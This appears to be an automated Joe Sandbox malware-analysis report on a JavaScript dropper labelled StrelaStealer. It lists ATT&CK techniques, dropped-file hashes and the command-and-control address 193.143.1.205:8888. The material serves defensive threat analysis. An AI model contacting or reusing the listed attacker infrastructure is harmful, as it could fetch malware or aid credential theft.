Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
253742123626823892.js	8%	Virustotal		Browse
253742123626823892.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false	high
http://crl.ver)	svchost.exe, 00000009.00000002.2745755744.00000222A8612000.00000004.00000020.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false	high
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 00000009.00000003.1526002480.00000222A8380000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false	high
http://193.143.1.205:8888/pace	net.exe, 00000007.00000002.1525266250.000001D3D70B8000.00000004.00000020.00020000.00000000.sdmp	false	high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1525266250.000001D3D710E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1525266250.000001D3D70E4000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1525266250.000001D3D70B8000.00000004.00000020.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588529
Start date and time:	2025-01-11 02:05:18 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 29s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	253742123626823892.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 172.64.41.3, 162.159.61.3, 3.233.129.217, 52.22.41.97, 52.6.155.20, 3.219.243.226, 2.23.242.162, 23.209.209.135, 199.232.214.172, 2.16.168.107, 2.16.168.105, 20.12.23.50, 23.203.104.175, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, dns.msftncsi.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
20:06:23	API Interceptor	23x Sleep call for process: powershell.exe modified
20:06:26	API Interceptor	1x Sleep call for process: net.exe modified
20:06:26	API Interceptor	2x Sleep call for process: svchost.exe modified
20:06:34	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1327128311804210730.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	6515707756641447.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16433207582849010802.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2937924646314313784.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1709323591581122310.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	36522792260104347.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	31244102191071522677.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3141714165326508962.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	4623256121503424814.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	15315323282846423758.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	6515707756641447.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2937924646314313784.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	31244102191071522677.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	3141714165326508962.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	4623256121503424814.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	15315323282846423758.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	395815050212839547.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	525931685256721403.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	217216328232499881.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	82691949257725140.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1327128311804210730.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	6515707756641447.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	16433207582849010802.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	326391126385512788.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2937924646314313784.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1709323591581122310.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	36522792260104347.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	31244102191071522677.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3141714165326508962.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	9742962732217849.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8021731433299476
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUAu:RJE+Lfki1GjHwU/+vVhWqpP
MD5:	E0F61F3F4D6B53638A0DF87B8C161A0A
SHA1:	ACAD8DDD847A02D7878C3533B0E50559C7AACA06
SHA-256:	D2D0D022C691E8B457505ADF85F363138B736D6F645F6279F8DFD067DA615763
SHA-512:	7E7C1147FCA912EEC1B5E808561A9D16A1571E5A7D38E91892D40EA4F4D69C9CE48E71111222C74E7F86511D8AE2C25B885C8D19F338909C575A971B2C9F46EE
Malicious:	false
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x5ab707d8, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.943256140449853
Encrypted:	false
SSDEEP:	1536:rSB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:razaHvxXy2V2UR
MD5:	E6AF34B55BC237D0407141106ABB42EB
SHA1:	865E4A418315A10A2F58BF571AF7F51F541FB086
SHA-256:	A535B356ADDFE8EBAE0750B87232D9849AB3626F067E16633E6174B0A81CE9DE
SHA-512:	F99A29C68CE0CDD0C081CB7CBC19EC5B1A64BC841A74F5C7FEF0DDF831354290B3269D82A79CAF4B50B48984FDA6E81AF7120108005D6B3BEAC021A124E197E8
Malicious:	false
Preview:	Z...... ...............X\...;...{......................0.x...... ...{s......}?.h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{.....................................d.....}_..........................}?..........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07990538028161871
Encrypted:	false
SSDEEP:	3:yftKYeJYu8lnall/nqlFcl1ZUlllljsj8llqllGBnX/l/Tj/k7/t:yVKzJwlall/qlFclQ/lyj8lQ254
MD5:	B4D8E0D6E6C1FC933623D2880BCD0226
SHA1:	3F784561E0CE91D899CD81452EF150664F329C33
SHA-256:	7764E2F545164158F9937EA3742310D382681E58604EEB76718FC81F70684183
SHA-512:	F716DC689184704E37C693F358DB0B34668F767C1207887DD2E8D77B57A12993864230F8D4E32C6A50EC28B8D09651D2FF9D8A448A8E0A5693BA87B14F4C0426
Malicious:	false
Preview:	O,.......................................;...{.......}?.. ...{s.......... ...{s.. ...{s.P.... ...{s..........................}?.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.1914498094776915
Encrypted:	false
SSDEEP:	6:iO4qVrYL4q2PCHhJ2nKuAl9OmbnIFUtSqVRuJZmwsqVRuDkwOCHhJ2nKuAl9Omb5:7nkL4vBHAahFUtZRuJ/LRuD56HAaSJ
MD5:	F3EA568F66FB80EAF140EA45C837CA1A
SHA1:	502BA5C6FFD1A69886F56CE22E4D9D63097B878B
SHA-256:	7B79A46809D3985116306DA7E8DEF885E73640A50FF2CC7B3157F87E0748191C
SHA-512:	A7B6408132AA8FC15C4486EF49E1C252C7B7E60C9BA795ADD4F84B046876781F8BCD927AAB12F20CF93D4AA8D393A08C4C67C391AD5DC3C9FB638DC9B0DA72D0
Malicious:	false
Preview:	2025/01/10-20:06:26.635 16f4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:06:26.637 16f4 Recovering log #3.2025/01/10-20:06:26.637 16f4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.1914498094776915
Encrypted:	false
SSDEEP:	6:iO4qVrYL4q2PCHhJ2nKuAl9OmbnIFUtSqVRuJZmwsqVRuDkwOCHhJ2nKuAl9Omb5:7nkL4vBHAahFUtZRuJ/LRuD56HAaSJ
MD5:	F3EA568F66FB80EAF140EA45C837CA1A
SHA1:	502BA5C6FFD1A69886F56CE22E4D9D63097B878B
SHA-256:	7B79A46809D3985116306DA7E8DEF885E73640A50FF2CC7B3157F87E0748191C
SHA-512:	A7B6408132AA8FC15C4486EF49E1C252C7B7E60C9BA795ADD4F84B046876781F8BCD927AAB12F20CF93D4AA8D393A08C4C67C391AD5DC3C9FB638DC9B0DA72D0
Malicious:	false
Preview:	2025/01/10-20:06:26.635 16f4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:06:26.637 16f4 Recovering log #3.2025/01/10-20:06:26.637 16f4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.174321093436777
Encrypted:	false
SSDEEP:	6:iO4qVAMGE+q2PCHhJ2nKuAl9Ombzo2jMGIFUtSqVAyZmwsqVAOVkwOCHhJ2nKuAv:7nhGZvBHAa8uFUtZl/L356HAa8RJ
MD5:	9300265F1EC110C6AC09A3ED9CBA1856
SHA1:	EA1598A8801C35BE91E2E4729952362E60CDB8B9
SHA-256:	43FA0189923219F1EE28959DE620866058A6D68D89E1C23A6884D5D2B600E49D
SHA-512:	BFE9219E1A12F5FCE7FE463A2EA3D6AF30264F37C5BD599CBF562474C74D7BD73300035EE36DA250A66BD14A396ACDA952F37B6E233440CC48D9439BD8BC4A04
Malicious:	false
Preview:	2025/01/10-20:06:26.740 1c58 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:06:26.742 1c58 Recovering log #3.2025/01/10-20:06:26.742 1c58 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.174321093436777
Encrypted:	false
SSDEEP:	6:iO4qVAMGE+q2PCHhJ2nKuAl9Ombzo2jMGIFUtSqVAyZmwsqVAOVkwOCHhJ2nKuAv:7nhGZvBHAa8uFUtZl/L356HAa8RJ
MD5:	9300265F1EC110C6AC09A3ED9CBA1856
SHA1:	EA1598A8801C35BE91E2E4729952362E60CDB8B9
SHA-256:	43FA0189923219F1EE28959DE620866058A6D68D89E1C23A6884D5D2B600E49D
SHA-512:	BFE9219E1A12F5FCE7FE463A2EA3D6AF30264F37C5BD599CBF562474C74D7BD73300035EE36DA250A66BD14A396ACDA952F37B6E233440CC48D9439BD8BC4A04
Malicious:	false
Preview:	2025/01/10-20:06:26.740 1c58 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:06:26.742 1c58 Recovering log #3.2025/01/10-20:06:26.742 1c58 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\2176b8af-de0e-4c9e-b6d0-d0fe932cf7f5.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.9703177062761155
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqfnxsBdOg2HZ5caq3QYiub6P7E4T3y:Y2sRdsOidMHZA3QYhbS7nby
MD5:	6E34732068F19C17F27674085962D495
SHA1:	AC4471DC4BDD7D8DD07DF9F5A37796E9DC8876CA
SHA-256:	5BD58B8593DE18B9D9F24820DD76A5C9CCCE59B5824AB3D8B71C9388DBDA8D8F
SHA-512:	6396F6FA65DCB43EE802C0467DFB80D43495F911B12B702241C40E865802DC487BB0CB829FEE069599A5B40DF3403550383788046AC5F55F65E76C6112A5349B
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381117598479008","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":160019},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.9703177062761155
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqfnxsBdOg2HZ5caq3QYiub6P7E4T3y:Y2sRdsOidMHZA3QYhbS7nby
MD5:	6E34732068F19C17F27674085962D495
SHA1:	AC4471DC4BDD7D8DD07DF9F5A37796E9DC8876CA
SHA-256:	5BD58B8593DE18B9D9F24820DD76A5C9CCCE59B5824AB3D8B71C9388DBDA8D8F
SHA-512:	6396F6FA65DCB43EE802C0467DFB80D43495F911B12B702241C40E865802DC487BB0CB829FEE069599A5B40DF3403550383788046AC5F55F65E76C6112A5349B
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381117598479008","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":160019},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.229205977610502
Encrypted:	false
SSDEEP:	96:S4bz5vsZ4CzSAsfTxiVud4TxY0CIOr3MCWO3VxBaw+bfRiOvw6Hx:S43C4mS7fFi0KFYDjr3LWO3V3aw+bf5R
MD5:	B1F3955ADB36D630D32084FA03629C6C
SHA1:	062CD0F5339DB7F074EBDC80E8CEE580B763DAEB
SHA-256:	81C5E2E54BFC89ABFC7BA8B4769F5005E3EA524F2A7C7CC04A2247766FC32072
SHA-512:	E83B866231B435D17D93AB8F527051DF2B1FEB8B21D326140DA5C0EEB61B47500E50E82F9EE162D4D58940181B191BCBD578A7310D976ED76279196B998AB234
Malicious:	false
Preview:	*...#................version.1..namespace-8..\|o................next-map-id.1.Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/.0...dr................next-map-id.2.Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.2.$..o................next-map-id.4.Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/.3+...^...............Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/....^...............Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/T.3.a...............Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.U..a...............Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.$..o................next-map-id.5.Pnamespace-c66013b9_73b6_4b3f_b279_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.18936192627472
Encrypted:	false
SSDEEP:	6:iO4qVAc+q2PCHhJ2nKuAl9OmbzNMxIFUtSqV+ZmwsqVZ3VkwOCHhJ2nKuAl9Ombg:7nWvBHAa8jFUtZ+/LZF56HAa84J
MD5:	1AC57A82BFFC31974DDDDE35B63D16AA
SHA1:	636A0DDD2B06D2D7BE57214F750E7F80A6E53046
SHA-256:	62E44A1DDF6CFF89F15DD8750927C29AA7EC6483F680AB93F49268592713E692
SHA-512:	D717D3F5DB7402440A465CD00D14CD88D341046343C5758E75FC6E5BF34234CBF6D280C652FE5A25FCAC8854F252C06ECF54AEBFEB89166E287495382D04ACF4
Malicious:	false
Preview:	2025/01/10-20:06:26.968 1c58 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:06:26.970 1c58 Recovering log #3.2025/01/10-20:06:26.971 1c58 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.18936192627472
Encrypted:	false
SSDEEP:	6:iO4qVAc+q2PCHhJ2nKuAl9OmbzNMxIFUtSqV+ZmwsqVZ3VkwOCHhJ2nKuAl9Ombg:7nWvBHAa8jFUtZ+/LZF56HAa84J
MD5:	1AC57A82BFFC31974DDDDE35B63D16AA
SHA1:	636A0DDD2B06D2D7BE57214F750E7F80A6E53046
SHA-256:	62E44A1DDF6CFF89F15DD8750927C29AA7EC6483F680AB93F49268592713E692
SHA-512:	D717D3F5DB7402440A465CD00D14CD88D341046343C5758E75FC6E5BF34234CBF6D280C652FE5A25FCAC8854F252C06ECF54AEBFEB89166E287495382D04ACF4
Malicious:	false
Preview:	2025/01/10-20:06:26.968 1c58 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:06:26.970 1c58 Recovering log #3.2025/01/10-20:06:26.971 1c58 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
